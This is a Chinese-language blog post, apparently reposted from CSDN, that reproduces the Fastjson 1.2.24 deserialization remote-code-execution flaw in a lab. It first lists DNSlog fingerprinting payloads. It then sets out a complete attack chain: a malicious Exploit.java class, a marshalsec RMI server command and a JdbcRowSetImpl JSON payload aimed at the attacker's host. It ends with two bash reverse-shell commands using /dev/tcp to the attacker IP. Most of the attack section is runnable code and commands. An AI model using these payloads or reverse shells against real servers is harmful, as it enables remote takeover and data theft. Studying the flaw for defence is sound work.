Fastjson反序列化漏洞复现

介绍:

FastJson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

FastJson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据。

详细描述

漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

fastjson的指纹识别:

1.报错回显信息判断fastjson,无特殊配置情况下fastjson,无正确的闭合会报错,返回结果里有fastjson字样

2.dnslog盲打判断fastjson

1.2.67版本前

{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}

1.2.67版本后

{"@type":"java.net.Inet4Address","val":"dnslog"}

{"@type":"java.net.Inet6Address","val":"dnslog"}

畸形的

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

POC:

要嵌套在里面zeo里面

 {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

{"@type":"java.net.Inet4Address","val":"dnslog"}

{"@type":"java.net.Inet6Address","val":"dnslog"}

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}

{ {"@type":"java.net.URL","val":"dnslog"}:"aaa"}

Set[{"@type":"java.net.URL","val":"dnslog"}]

Set[{"@type":"java.net.URL","val":"dnslog"}

{ {"@type":"java.net.URL","val":"dnslog"}:0

 

fastjson1.2.24反序列化漏洞复现:

主机A:存在fastjson反序列化漏洞的主机

主机C:为RMI/LDAP服务

主机B:为构造的恶意类(包含要执行的命令)

在整个远程命令执行流程:

1、黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)

2、主机A引发反序列化漏洞,发送了进行rmi远程发放调用,去连接主机C

3、主机C的rmi服务指定加载主机B的恶意java类,所以主机A通过主机C的rmi服务最终加载并执行主机B的恶意java类

4、主机A引发恶意系统命令执行

漏洞复现

kali安装java版本

 
 
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

编译恶意类

 
 
javac Exploit.java

Exploit.java源码如下

import java.lang.Runtime;
import java.lang.Process;
public class Exploit{
 static {
 try {
 Runtime rt = Runtime.getRuntime();
 String[] commands = {"touch", "/tmp/hel10"};
 Process pc = rt.exec(commands);
 pc.waitFor();
 } catch (Exception e) {
 // do nothing
 }
 }
}
然后开启Web服务,让rmi服务能够获取到恶意类。

再开启RMI服务监听

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.88.133:8888/#Exploit" 9999

 

然后利用payload攻击目标主机

{
 "b":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://192.168.88.133:9999/Exploit",
 "autoCommit":true
 }
}

 目标主机触发反序列化漏洞,主动进行RMI远程调用连接VPS,RMI指定加载的是VPS上的恶意java类,从而目标主机通过RMI服务远程加载调用到了VPS上的恶意java类。

反弹shell的话就修改恶意java里面的东西就好:

"/bin/bash","-c","exec 5<>/dev/tcp/192.168.88.133/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"
"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.88.133/1234 0>&1"

猜你喜欢

转载自blog.csdn.net/weixin_52501704/article/details/128521090